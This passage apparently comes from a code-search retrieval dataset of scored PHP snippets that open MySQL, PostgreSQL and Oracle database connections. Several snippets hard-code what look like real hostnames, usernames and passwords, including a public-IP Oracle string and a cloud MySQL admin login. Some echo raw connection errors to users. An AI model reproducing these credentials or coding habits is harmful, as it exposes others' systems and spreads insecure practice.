DB.<BR>\";\n\t\t\tprint pg_errormessage();\n\t\t\texit;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->conexion=$conexion;\n\t\t}\n\t}", "title": "" }, { "docid": "07f18a7e397ae62b6247ae9c196b336c", "score": "0.55566144", "text": "private function openPDO()\n\t{\n\t\tdefine(\"DB_TYPE\", \"mysql\");\n\t\tdefine(\"DB_HOST\", \"127.0.0.1\");\n\t\tdefine(\"DB_NAME\", \"ptt_crawler\");\n\t\tdefine(\"DB_USER\", $this->_db_username);\n\t\tdefine(\"DB_PASS\", $this->_db_password);\n\n\t\t// error code of PDO\n\t\tdefine(\"SERVER_SHUTDOWN_CODE\", \"1053\");\n\n\t\t$options = array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8', PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ, PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING);\n\t\ttry {\n\t\t\t$this->db = new PDO(DB_TYPE . ':host=' . DB_HOST . ';dbname=' . DB_NAME, DB_USER, DB_PASS, $options);\n\t\t\t$this->db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n $this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t} catch (PDOException $e) {\n\t\t\texit(\"Database connection error\\n\");\n\t\t}\n\t}", "title": "" }, { "docid": "b971d4c1969008d36e0076fc6664605f", "score": "0.5553283", "text": "function dbconnect()\n{\n\tglobal $global_host,$global_dbname,$global_user,$global_password,$global_port;\n\t$dbconn = pg_pconnect(\"host=$global_host port=$global_port dbname=$global_dbname user=$global_user password=$global_password\");\n\treturn $dbconn;\n}", "title": "" }, { "docid": "d7ecc14fd55b9002d2874856f8cae2ee", "score": "0.5546673", "text": "public function connexion()\n {\n // ob_start();\n require \"public/classroom/login.phtml\";\n // $output = ob_get_clean();\n // require \"puplic/classroom/tpl.phtml\";\n }", "title": "" }, { "docid": "59a2e8a6e495ef30ee82b89c4fa4ff93", "score": "0.55451846", "text": "function get_db() {\ntry {\n$url = getenv('DATABASE_URL');\n\n$dbOpts = parse_url($url);\n\n$host = $dbOpts[\"host\"];\n$port = $dbOpts[\"port\"];\n$user = $dbOpts[\"user\"];\n$pass = $dbOpts[\"pass\"];\n$name = ltrim($dbOpts[\"path\"], '/');\n\n$db = new PDO (\"pgsql:host=$host; port=$port; dbname=$name\", $user, $pass);\n\n$db->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );\n}\ncatch (PDOException $ex) {\n\techo \"ERROR connecting to DB. Detains: $ex\";\n\tdie();\n}\n\nreturn $db;\n}", "title": "" }, { "docid": "44f3bf9004651c8d3a86c1d5ef4faabc", "score": "0.55366576", "text": "function db_connect()\n{\n$conn = oci_connect(ORA_CON_UN, ORA_CON_PW, ORA_CON_DB, 'AL32UTF8');\nif (!$conn) {\ndb_error(null, __FILE__, __LINE__); \n}\nreturn($conn);\n}", "title": "" }, { "docid": "369932431f756142956b3f9b906db148", "score": "0.5524434", "text": "function connect($config) \n{\n $dsn = $config['driver'] \n . ':host=' . $config['host'] \n . ';dbname=' . $config['dbname'];\n\n try {\n $dbh = new PDO($dsn, $config['username'], $config['password']);\n $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $dbh->exec('SET NAMES \"' . $config['charset'] . '\"');\n return $dbh;\n } catch (PDOException $e) {\n return $e;\n }\n}", "title": "" }, { "docid": "35c25247cb24e5d6bc37faf5f10302cb", "score": "0.55230683", "text": "function makeTheConnection() {\n\t$db = \"//129.213.89.92:1521/cgnpdb.sub10081939060.vcncgnglobal.oraclevcn.com\"; // and the connect string to connect to your database\n\n\t// ENTER YOUR INFORMATION FOR LOGGING IN\n\t$user = \"spend_analysis_dw\";\n\t$pwd = \"spend_DW_2019\";\n\t\n\t// UNCOMMENT THIS IF YOU ARE USING SQL SERVER\n\t// $connection = \"dblib:host=mssqllab.rhsmith.umd.edu:9407;dbname=$db\";\n\n\t// UNCOMMENT THIS IF YOU ARE USING MYSQL\n\t//$connection = \"mysql:host=bmgt407.rhsmith.umd.edu;dbname=\".$db; \n\n\n\t\n\t$GLOBALS['conn'] = oci_connect($user, $pwd, $db);\n\n\t\t// COMMENT OUT THE LINE BELOW IF YOU ARE USING SQL SERVER\n\t\t//$GLOBALS['conn']->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );\n\tif (!$GLOBALS['conn']) {\n \t$e = oci_error(); // For oci_connect errors do not pass a handle\n \ttrigger_error(htmlentities($e['message']), E_USER_ERROR);\n\t}\n\telse {\n\t\treturn $GLOBALS['conn'];\n\t}\n}", "title": "" }, { "docid": "f1927c49345879c02cdf3b337c201233", "score": "0.5515913", "text": "protected function connPDO($conn_data) {\n try {\n // Connect and create the PDO object\n $this->conn = new PDO(\"mysql:host=\".$conn_data['host'].\"; dbname=\".$conn_data['bdname'], $conn_data['user'], $conn_data['pass']);\n\n // Sets to handle the errors in the ERRMODE_EXCEPTION mode\n $this->conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $this->mysql_version = str_replace('.', '', $this->conn->getAttribute(PDO::ATTR_SERVER_VERSION));\n\n // Sets transfer with encoding UTF-8\n $this->conn->exec('SET character_set_client=\"utf8\",character_set_connection=\"utf8\",character_set_results=\"utf8\";');\n }\n catch(PDOException $e) {\n $this->setSqlError($e->getMessage());\n }\n }", "title": "" }, { "docid": "1a46cf54d69c0c6d21c6f2fcf0026e30", "score": "0.5514496", "text": "private function openConnection()\n {\n $userDb = require __DIR__.'/../../../config/db.php';\n $this->db = new PDO(\"mysql:host = $userDb[0]; dbname = $userDb[1]\", $userDb[2], $userDb[3]);\n $this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n }", "title": "" }, { "docid": "09dab5ea52b4860dcb31186af608ddb2", "score": "0.5508953", "text": "private function __construct()\n {\n $this->conn = null;\n \n try {\n $hostAndDb = 'pgsql:host='.POSTGRES_HOST.';port=5432;dbname='.POSTGRES_DB.'';\n $this->conn = new PDO($hostAndDb,POSTGRES_USER, POSTGRES_PASSWORD);\n $this->conn->exec(\"SET NAMES UTF8\");\n\n } catch (PDOException $e) {\n die('Connection failed: ' . $e->getMessage());\n }\n\n }", "title": "" }, { "docid": "c640a8ccf7eae2779c79eab189d8bfed", "score": "0.549871", "text": "function open_database_connection(){\n\n\t\t$host \t\t= 'localhost';\n\t\t$port \t\t= '5432';\n\t\t$user \t\t= 'student';\n\t\t$password \t= 'winter2015';\n\t\t$dbname \t= 'csi2132a';\n\n\t\t$options = \"host={$host} port={$port} user={$user} password={$password} dbname={$dbname}\";\n\t\t$conn = pg_connect($options);\n\n\t\tif(!$conn){\n\t\t\techo \"Connection Failed \\n\";\n\t\t\texit;\n\t\t}\n\t\treturn $conn;\n\t}", "title": "" }, { "docid": "b747ecae9c5382222562e819d792e03b", "score": "0.54918385", "text": "function startdb(){\n //Include the db configuration file. It's somehow like this\n /*\n <?php\n $host = 'XXXX';\n $db_name = 'XXXX';\n $username_ro = 'XXXX';\n $username_rw = 'XXXX';\n $pass_ro = 'XXXX';\n $pass_rw = 'XXXX';\n ?>\n */\n include('../../.htpasswd');\n \n //Connect to to database\n $con = mysqli_connect($host, $username_rw, $pass_rw, $db_name);\n \n //Set encoding options\n mysqli_set_charset($con, 'utf-8');\n header('Content-Type: text/html; charset=utf8');\n mysqli_query($con, 'SET NAMES utf8;');\n \n //Return the db connection\n return $con;\n }", "title": "" }, { "docid": "b747ecae9c5382222562e819d792e03b", "score": "0.54918385", "text": "function startdb(){\n //Include the db configuration file. It's somehow like this\n /*\n <?php\n $host = 'XXXX';\n $db_name = 'XXXX';\n $username_ro = 'XXXX';\n $username_rw = 'XXXX';\n $pass_ro = 'XXXX';\n $pass_rw = 'XXXX';\n ?>\n */\n include('../../.htpasswd');\n \n //Connect to to database\n $con = mysqli_connect($host, $username_rw, $pass_rw, $db_name);\n \n //Set encoding options\n mysqli_set_charset($con, 'utf-8');\n header('Content-Type: text/html; charset=utf8');\n mysqli_query($con, 'SET NAMES utf8;');\n \n //Return the db connection\n return $con;\n }", "title": "" }, { "docid": "33a9451caabb4f03114ffa585643961c", "score": "0.5479002", "text": "public function conexion() {\n\t\t$this->conexion = pg_connect('host=127.0.0.1 port=5432 dbname=sadmincom user=sadmincom password=sa2dm0in1co4m');\n\t}", "title": "" }, { "docid": "f39a060093e4f2f28f87c036c579522b", "score": "0.5472736", "text": "function MyPostgreSQL()\n {\n /* Make connection to database */\n global $cssdk2_db_host, $cssdk2_db_name, $cssdk2_db_user, $cssdk2_db_pass;\n $connect_cmd = \"host=\" . $cssdk2_db_host . \" dbname=\" . $cssdk2_db_name .\n \" user=\" . $cssdk2_db_user . \" password=\" . $cssdk2_db_pass;\n $this->connection = pg_connect( $connect_cmd )\n or die( 'Could not connect: ' . pg_last_error() );\n }", "title": "" }, { "docid": "5eccaeb19a4c9a456b02646754487d64", "score": "0.546989", "text": "public function dbOpen()\r\n {\r\n\t\ttry {\r\n\t\t\t$this->dbConn = new PDO($this->dbConnectionString, $this->dbUser, $this->dbPassword);\r\n\t\t\t// set the PDO error mode to exception\r\n\t\t\t$this->dbConn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\r\n\t\t\t$this->dbError = null;\r\n\t\t}\r\n\t\tcatch(PDOException $e) {\r\n\t\t\t$this->dbError = $e->getMessage();\r\n\t\t\t$this->dbConn = null;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "5e08e874e4b832ebc4711883f267887b", "score": "0.54654694", "text": "function connexion()\n{\n //autre\n return $dbh = new PDO('mysql:dbname=GameOfThrones;host=sl-us-south-1-portal.34.dblayer.com:56255','admin', 'MJZODZCSVZSAMRWE', array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8'));\n}", "title": "" }, { "docid": "d1dcf7a3f89c07803a76aa248d2194c1", "score": "0.54575306", "text": "private function __construct() \r\n\r\n {\r\n\r\n \r\n try {\r\n\r\n\r\n // assign PDO object to db variable\r\n self::$dbh = new PDO( 'mysql:host=' . CONNECTION .';dbname=' . DATABASE, USERNAME, PASSWORD );\r\n self::$dbh->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );\r\n \r\n $this->html .= '<h3>***PDO Practice Assignment***</h3>';\r\n $this->html .= 'Copyright @ Himanshu Hunge hh292<hr>';\r\n $this->html .= '<h4>1)Database Connection Successfully Done On <b><i>\"'.CONNECTION.'\"</i></b> Server.</h4><hr><br>';\r\n print_r($this->html);\r\n \r\n }\r\n catch (PDOException $error) {\r\n //Output error - would normally log this to error file rather than output to user.\r\n echo \"Connection Error: \" . $error->getMessage().\"<br>\";\r\n }\r\n\r\n }", "title": "" }, { "docid": "d3a74d792742dbff353382750d24b63a", "score": "0.54543555", "text": "function setConnectionInfo($value=array()){\r\n\t$connString=$value[0];\r\n\t$user=$value[1];\r\n\t$password=$value[2];\r\n\ttry{\r\n\t\t$pdo= new PDO($connString,$user,$password); // the part that actually connect to the database\r\n\t\t$pdo->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);\r\n\t\treturn $pdo;\r\n\t}\r\n\tcatch(PDOException $e){\r\n\t\techo \"Connection failed: \" . $e->getMessage();\r\n\t}\r\n}", "title": "" }, { "docid": "5fae979ad346a0560746f4cecf26cd16", "score": "0.54460806", "text": "protected function pgsql($null)\n\t{\n\t\ttry\n\t\t{\n\t\t\t$this->_pdo = new \\PDO('pgsql:user='. \\config('db_user') .'\n dbname=' . \\config('db_name') . ' password='.\\config('db_password'));\n\t\t\t$this->_pdo->exec(\"set names \" . 'utf8');\n\t\t\t$this->_pdo->setAttribute( \\PDO::ATTR_ERRMODE, \\PDO::ERRMODE_EXCEPTION );\n\t\t} catch(\\PDOException $e) {\n\t\t\tdie($e->getMessage());\n\t\t}\n\t}", "title": "" }, { "docid": "9d9a72171a9c67e4b6c0163ad1518b96", "score": "0.5445983", "text": "function db_connect($host, $port, $db, $user, $pw) {\n\tif(!$dbh = pg_connect(\"host=$host port=$port dbname=$db user=$user password=$pw\")){\n\t\techo \"invalid connection\";\n\t}\n\telse{\n\t\treturn $dbh;\n\t}\n}", "title": "" }, { "docid": "85626d2b6d41d8df188d7c7587331ff1", "score": "0.5444952", "text": "static function link ()\n\t{\n\t\t/* Подключение к базе данных MySQL, используя вызов драйвера */\n\t\t$dsn = 'mysql:host=localhost;dbname=protostudy';\n\t\t$user = 'root';\n\t\t$password = 'mysql';\n\n\t\ttry {\n\t\t $dbh = new PDO($dsn, $user, $password);\n\t\t $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n \t\t\t$dbh->exec(\"set names utf8\");\n\n\t\t return $dbh;\n\t\t} catch (PDOException $e) {\n\t\t echo 'Подключение не удалось: ' . $e->getMessage();\n\t\t}\n\t}", "title": "" }, { "docid": "a2c60499d0337af6adbbf929027feb69", "score": "0.5442768", "text": "function conn_string()\n{\n $host = getenv('DB_HOST') ? getenv('DB_HOST') : 'localhost';\n $port = getenv('DB_PORT') ? getenv('DB_PORT') : '5432';\n $dbname = getenv('POSTGRES_DB') ? getenv('POSTGRES_DB') : 'gnucash';\n $user = getenv('POSTGRES_USER') ? getenv('POSTGRES_USER') : 'gnucash';\n $password = getenv('POSTGRES_PASSWORD') ? getenv('POSTGRES_PASSWORD') : 'gnucash';\n\n return \"host=$host port=$port dbname=$dbname user=$user password=$password\";\n}", "title": "" }, { "docid": "a65e1b608c775c641a8efa2a64017b2d", "score": "0.5442527", "text": "function connect() {\r\n try {\r\n if ($this->type == 'mysql') {\r\n $this->pdo = new PDO(('mysql:host='.$this->server.';dbname='.$this->database), $this->username, $this->password);\r\n }\r\n else {\r\n $this->error = \"db.php does not support the database type '\".$this->type.\"'.\";\r\n }\r\n }\r\n catch (PDOException $x) {\r\n $this->error = $x->getMessage();\r\n }\r\n}", "title": "" }, { "docid": "e0f844c63394bd6f8335dab0cfbda297", "score": "0.5437119", "text": "function connectToDatabase()\r\n{\r\n\t// connect to our SQLITE database \r\n\t// $dbh = new PDO(\"sqlite:./database/OnlineShop.db\");\r\n\r\n\t// if you had a MYSQL server you could use this instead:\r\n\t$dbh = new PDO(\"mysql:host=localhost;dbname=shoper\", \"root\", \"\");\r\n\r\n\t// enable errors\r\n\t$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\r\n\r\n\t//Turn OFF emulated prepared statements.\r\n\t$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\r\n\r\n\t// return the database handle.\r\n\treturn $dbh;\r\n}", "title": "" }, { "docid": "6e5b1ae26017ce5a2e20326ef8c9deb0", "score": "0.54354376", "text": "public function connect()\r\n {\r\n require_once('/home/bskargre/config.php');\r\n\r\n try {\r\n //instantiate a database object\r\n $GLOBALS['dbh'] = new PDO(DB_DSN, DB_USERNAME, DB_PASSWORD);\r\n } catch (PDOException $e) {\r\n echo $e->getMessage();\r\n }\r\n }", "title": "" }, { "docid": "661f4271aa86a476bec9041d37e9e020", "score": "0.54344344", "text": "function connect_2_db(){\n\t//db connection\n\tglobal $conn_instance;\n\ttry{\n\t\t$conn_instance = new PDO('mysql:host=localhost;dbname=mindz','root','');\n\t}\n\tcatch(PDOException $e){\n\t\t//check for connection error\n\t\techo \"Could not connect to Database\";\n\t\techo \"Error type: \" . $e;\n\t}\n}", "title": "" }, { "docid": "51661b7966dc7174b43cdc7023bd3bd8", "score": "0.54283035", "text": "public function createDB()\n {\n \t$this->db = new PDO($this->dsn, $this->username, $this->password, $this->driver_options);\n \n $this->db->SetAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->fetchMode); \n }", "title": "" }, { "docid": "595c8e0810ddaa5470fa4f1b1898843f", "score": "0.5426098", "text": "function __construct($user='', $pass='', $cnx = NULL){\n\t\tglobal $ggTipoBD;\n\t\t$this->gTipoBD=$ggTipoBD;\n\t\tif($this->gTipoBD==1){\n\t\t\t$this->gServidor = \"localhost\";\n\t\t\t$user='root';\n\t\t\t$pass='root';\n\t\t}\n\t\tif($this->gTipoBD==2){\n\t\t\t$this->gServidor = \"localhost\";\n\t\t\t$user='root';\n\t\t\t$pass='root';\n\t\t}\n\t\tif($this->gTipoBD==3){\n\t\t\t$this->gServidor = \"localhost\";\n\t\t\t$user='postgres';//sica\n\t\t\t$pass='1107';//sicaweb2013\n\t\t}\n\t\t// Crea una Conexion SQLSERVER 2000\n\t\t//echo \"Antes de COncetar\";\n\t\ttry {\n \t\tif($cnx){\n \t\t\t$this->gCnx = $cnx;\n \t\t}else{\n \t\t\tif($this->gTipoBD==1){\n \t\t\t\t$this->gCnx = new PDO(\"mssql:host=\".$this->gServidor.\";dbname=\".$this->gBaseDatos,$user,$pass);\n \t\t\t}\n \t\t\tif($this->gTipoBD==2){\n \t\t\t\t$this->gCnx = new PDO(\"mysql:host=\".$this->gServidor.\";port=3306;dbname=\".$this->gBaseDatos,$user,$pass);\n \t\t\t}\n \t\t\tif($this->gTipoBD==3){\n \t\t\t\tif($this->gTipoConex==1){\n \t\t\t\t\t$this->gCnx = new PDO(\"pgsql:host=\".$this->gServidor.\";port=5432;dbname=\".$this->gBaseDatos,$user,$pass);\n \t\t\t\t}else{\n \t\t\t\t\techo \"Antes de Post\";\n \t\t\t\t\t$this->gCnx = new PDOSICA(\"pgsql:host=\".$this->gServidor.\";port=5432;dbname=\".$this->gBaseDatos,$user,$pass);\n \t\t\t\t\techo $this->gCnx;\n \t\t\t\t\techo \"Inicia::....\".$this->gCnx->errorInfo();\n \t\t\t\t}\n \t\t\t}\n \t\t}\n\t\t} catch (PDOException $e) {\n\t\t\techo \"Error:\\n\" . $e->getMessage();\n\t\t}\n\t}", "title": "" }, { "docid": "3ef593b82598dfbd87a2f54cdaff2a56", "score": "0.5423277", "text": "private function __construct()\n {\n $dbconn = pg_pconnect('host=' . PGHOST . ' port=' . PGPORT . ' dbname=' . PGDATABASE . ' user=' . PGUSER . ' password=' . PGPASSWORD); \n }", "title": "" }, { "docid": "07f818778f5db35348434a242ca68682", "score": "0.5422969", "text": "function OpenCon()\n {\n\n try {\n $dbhost = \"localhost\";\n $dbuser = \"liuchew_liuchew\";\n $dbpass = \"HarryPotter2012\";\n $db = \"liuchew_A5\";\n\n $dbConn = new PDO(\n \"mysql:host=$dbhost;dbname-$db\",\n $dbuser,\n $dbpass\n );\n $dbConn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\n // echo \"Connection established!<br>\";\n\n return $dbConn;\n }\n // if there is an error\n catch (PDOException $e) {\n echo \"Connection error!\" . $e->getMessage();\n }\n }", "title": "" }, { "docid": "ae1871b100348d2fc1ce7f0092db54ea", "score": "0.54181546", "text": "public function __construct(){\r\n// $this->host = '192.168.43.203';\r\n $this->host = '192.168.56.101';\r\n $this->port = '5432';\r\n $this->user = 'cursouser';\r\n $this->passwd = 'cursouser';\r\n $this->db = 'dbcursogis';\r\n $strCnx = \"host=$this->host port=$this->port dbname=$this->db user=$this->user password=$this->passwd\";\r\n $link = pg_connect($strCnx) or die (\"Error de conexion a la Base de Datos \". pg_last_error());\r\n }", "title": "" }, { "docid": "03c12db47b6e9ce11a285239cef015a8", "score": "0.5414196", "text": "protected function connect()\r\r\n\t{\r\r\n\t\tif ($GLOBALS['TL_CONFIG']['dbPconnect'])\r\r\n\t\t{\r\r\n\t\t\t$this->resConnection = @oci_connect($GLOBALS['TL_CONFIG']['dbUser'], $GLOBALS['TL_CONFIG']['dbPass'], '', $GLOBALS['TL_CONFIG']['dbCharset']);\r\r\n\t\t}\r\r\n\r\r\n\t\telse\r\r\n\t\t{\r\r\n\t\t\t$this->resConnection = @oci_connect($GLOBALS['TL_CONFIG']['dbUser'], $GLOBALS['TL_CONFIG']['dbPass'], '', $GLOBALS['TL_CONFIG']['dbCharset']);\r\r\n\t\t}\r\r\n\t}", "title": "" }, { "docid": "8bdcee774657ed9b914278ab4152a894", "score": "0.54141706", "text": "public static function connect_pgsql()\n\t{\n\t\t$DB_DRIVER = config_db('pgsql', 'DB_DRIVER');\n\t\t$DB_HOST = config_db('pgsql', 'DB_HOST');\n\t\t$DB_PORT = config_db('pgsql', 'DB_PORT');\n\t\t$DB_NAME = config_db('pgsql', 'DB_NAME');\n\t\t$DB_USER = config_db('pgsql', 'DB_USER');\n\t\t$DB_PASS = config_db('pgsql', 'DB_PASS');\n\t\t$DB_CHARSET = config_db('pgsql', 'DB_CHARSET');\n\n\t\tstatic $db = null;\n\t\tif ($db === null) {\n\t\t\tif (is_filled($DB_PORT)) {\n\t\t\t\t$dsn = '' . $DB_DRIVER . ':host=' . $DB_HOST . ';port=' . $DB_PORT . ';dbname=' . $DB_NAME . ';';\n\t\t\t} else {\n\t\t\t\t$dsn = '' . $DB_DRIVER . ':host=' . $DB_HOST . ';dbname=' . $DB_NAME . ';';\n\t\t\t}\n\t\t\t$db = new \\PDO($dsn, $DB_USER, $DB_PASS);\n\n\t\t\t// Throw an Exception when an error occurs\n\t\t\t$db->setAttribute(\\PDO::ATTR_ERRMODE, \\PDO::ERRMODE_WARNING);\n\t\t}\n\t\treturn $db;\n\t}", "title": "" }, { "docid": "e22e363ad36959001d491738bff81b6e", "score": "0.5413456", "text": "function bdd_conect($loc = NULL)\n{\n if ($loc == \"1\")\n\t{\n\t\t$fp = fopen(\"configs/sql/sql_config.conf\",\"r+\");\n\t}\n\telse\n\t{\n\t\t$fp = fopen(\"../configs/sql/sql_config.conf\",\"r+\"); //lecture du fichier\n\t}\n while (!feof($fp)) { //on parcourt toutes les lignes\n $page .= fgets($fp, 4096); // lecture du contenu de la ligne\n }\n\n $host_resh = eregi(\"<host>(.*)</host>\",$page,$regs); //on isole le titre\n $host = $regs[1];\n// echo $host;\n $base_resh = eregi(\"<base>(.*)</base>\",$page,$regs);\n $base = $regs[1];\n// echo $base;\n $pass_resh = eregi(\"<pass>(.*)</pass>\",$page,$regs);\n $pass = $regs[1];\n// echo $pass;\n $ident_resh = eregi(\"<ident>(.*)</ident>\",$page,$regs);\n $ident = $regs[1];\n// echo $ident;\n fclose($fp);\n try\n {\n\n $bdd = new PDO('mysql:host='.$host.';dbname='.$base , $ident , $pass);\n return $bdd;\n\n }\n catch(Exception $e)\n {\n\n die('Erreur : '.$e->getMessage());\n\n }\n}", "title": "" }, { "docid": "5925c1eee890194f3e98508ee9ea2174", "score": "0.54042643", "text": "function connectDB() {\n// $username = fgets($dbcreds);\n// $password = fgets($dbcreds);\n// fclose($dbcreds);\n\t try\n\t {\n\t $this->conn = new PDO(\"mysql:host=$this->servername;dbname=$this->dbname\", $this->username, $this->password);\n\t // set the PDO error mode to exception\n\t $this->conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t // echo \"Connected successfully\";\n\t }\n\t catch(PDOException $e)\n\t {\n\t echo \"Connection failed: \" . $e->getMessage();\n\t }\n\t}", "title": "" }, { "docid": "83883e9a2571e9a3db7ff87f11a2abb0", "score": "0.540342", "text": "function postgreSql () {\r\n global $CFG_HOST, $CFG_USER, $CFG_DBPWD, $CFG_DBASE;\r\n $this->Host = $CFG_HOST;\r\n\t $this->User = $CFG_USER;\r\n\t $this->Pwd = $CFG_DBPWD;\r\n\t $this->BaseDatos = $CFG_DBASE;\r\n\t $this->Sql = \"\";\r\n\t $this->RtaSql = \"\";\r\n\t $this->Enlace = null;\r\n\t $this->NumReg = 0;\r\n }", "title": "" }, { "docid": "7cf6912f36eaa99277651995436e542b", "score": "0.5392598", "text": "public static function init(){\n \n if (self::$dbh == null){\n try {\n // Cambiar los valores de las constantes en config.php\n $dsn = \"mysql:host=\".DBSERVER.\";dbname=\".DBNAME.\";charset=utf8\";\n self::$dbh = new PDO($dsn,DBUSER,DBPASSWORD);\n // Si se produce un error se genera una excepción;\n self::$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n } catch (PDOException $e){\n echo \"Error de conexión \".$e->getMessage();\n exit();\n }\n \n }\n \n}", "title": "" }, { "docid": "42f510281a94f614e221c21226baa522", "score": "0.5390266", "text": "private function connect_lowbid_DB(){\n\t\t$this->db = new PDO('mysql:host=localhost;dbname=' . $this->dbname . ';charset=utf8', $this->username, $this->pwd);\n\t\t#create exception/throw for later control over login procedure\n\t}", "title": "" }, { "docid": "179c4a9a0933e41be20f235c870fbfdb", "score": "0.53865814", "text": "function dbconnect() // DB CONNECT FUNCTION\n{\n $dsn = \"mysql:host=localhost;dbname=capstone_project\";\n $username = \"root\";\n $password = \"\";\n try {\n $db = new PDO($dsn, $username, $password);\n $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n return $db;\n } catch (PDOException $e) { // IF THERE WAS A PROBLEM OUTPUTS PROBLEM\n die(\"There was a problem connecting to the db.\");\n }\n}", "title": "" }, { "docid": "5ea9818aed67661eb2eabc2bfadef29a", "score": "0.53844035", "text": "function connect()\r\n {\r\n try {\r\n // Instantiate a db object\r\n $this->_dbh = new PDO(DB_DSN, DB_USERNAME, DB_PASSWORD);\r\n $this->_dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\r\n } catch (PDOException $e) {\r\n //echo $e->getMessage();\r\n }\r\n }", "title": "" }, { "docid": "23cc2716ba6c7f4ff0e605b149eed0ed", "score": "0.5382528", "text": "function __construct() {\n\t\t$this->dbcon = new PDO( // PHP Data Objects:définit une interface pour accéder à une base de données depuis PHP. \n\t\t\t\"pgsql:dbname=$this->dbname;host=$this->dbhost\", //DSN:constitué par nom du pilote(DBMS)\n\t\t\t$this->dbuser,\n\t\t\t$this->dbpass\n\t\t);\n\t}", "title": "" }, { "docid": "9fea0a1cdbe9997a60f27c63f208d4a8", "score": "0.538204", "text": "function db_connect() {\n\n // Define connection as a static variable, to avoid connecting more than once \n static $connection;\n\n // Try and connect to the database, if a connection has not been established yet\n if(!isset($connection)) {\n \n // Load configuration as an array. Use the actual location of your configuration file\n $config = parse_ini_file('private/config.ini.php'); \n $connection = pg_connect(\"host=$config[servername] user=$config[username] password=$config[password] dbname=$config[dbname]\");\n\n }\n\n // If connection was not successful, handle the error\n if($connection === false) {\n // Handle error - notify administrator, log to a file, show an error screen, etc.\n return pg_last_error(); \n }\n return $connection;\n}", "title": "" }, { "docid": "e188c544120b2bc55db13a6ce592f98b", "score": "0.5371793", "text": "function getConnection() \n{\n\ttry\n\t{\n\t\t $hostname=\"localhost\"; \n\t\t $username=\"root\";\n\t\t $password=\"root\";\n\t\t $dbname=\"reviseit\";\n\t $dbh = new PDO(\"mysql:host=$hostname;dbname=$dbname\", $username, $password);\n\t\t return $dbh; \n\n\t\t// $hostname=\"reviseithg.db.11048397.hostedresource.com\"; \n\t\t// $username=\"reviseithg\";\n\t\t// $password=\"ReviseIT!2013\";\n\t\t// $dbname=\"reviseithg\";\n\t\t// $dbh = new PDO(\"mysql:host=$hostname;dbname=$dbname\", $username, $password);\n\t\t// return $dbh;\n\t\t\t\n\t}\n\tcatch(PDOException $e)\n\t{\n\t\tif($dbh != null) $dbh = null;\n\t\techo $e->getMessage();\n\t}\n}", "title": "" }, { "docid": "dc5da5d990ebcabc902932a7d580f53b", "score": "0.5368845", "text": "function __construct($dbtype, $servername, $dbname, $username, $password)\n {\n try {\n $this->conn = new PDO(\"$dbtype:host=$servername;dbname=$dbname;charset=utf8;\", $username, $password);\n // set the PDO error mode to exception\n $this->conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n } catch (PDOException $e) {\n echo \"Connection failed: \" . $e->getMessage();\n }\n }", "title": "" }, { "docid": "60d02ad3e14f60e7cd4303a42b50cae1", "score": "0.5367261", "text": "function connect()\n {\n global $gsod, $config, $core;\n\n try\n {\n // Set the DB prefix\n $this->prefix = $config->db_prefix;\n\n // Build the connection string\n switch ($config->db_type)\n {\n case 'mysql':\n case 'pgsql':\n case 'mssql':\n case 'sybase':\n $port_str = $config->db_port ? \";port={$config->db_port}\" : \"\";\n $conn_str = \"{$config->db_type}:host={$config->db_host}{$port_str};dbname={$config->db_name}\";\n $this->pdo = new PDO($conn_str, $config->db_username, $config->db_password);\n break;\n\n case 'sqlite':\n $this->pdo = new PDO(\"{$config->db_type}:{$config->db_name}\");\n break;\n }\n\n if ($this->pdo != null)\n {\n $this->pdo->exec(\"SET NAMES 'utf8'\");\n }\n else\n {\n throw new PDOException(\"Unable to connect to the database. Please check your DB settings.\");\n }\n }\n catch (PDOException $e)\n {\n $message = '<b>Sticky Notes DB error</b><br /><br />';\n $message .= 'Error: ' . $e->getMessage();\n $gsod->trigger($message);\n }\n }", "title": "" }, { "docid": "98ae42d5d1cad345fbce8431ec2746d3", "score": "0.53645205", "text": "private function connect_lowbid_DB(){\n\t\t$this->db = new PDO('mysql:host=localhost;dbname=' . $this->dbname . ';charset=utf8', $this->dbuser, $this->pwd);\n\t}", "title": "" }, { "docid": "d89510a7201deb78355bf38ecb00c195", "score": "0.53633446", "text": "function getPDO()\n{\n require \".const.php\";\n $dbh = new PDO('mysql:host=' . $dbhost . ';dbname=' . $dbname, $user, $pass);\n return $dbh;\n}", "title": "" }, { "docid": "d8d0a3f00c036cf806a43ad8f29bfefb", "score": "0.53442615", "text": "private function get_conn()\n\t{\n\t\t$test_env = DEFINED('IS_TEST') && IS_TEST === true;\n\t\t$db = 'sandbox';\n\t\t$host = 'pchsql'; // SQL server configured 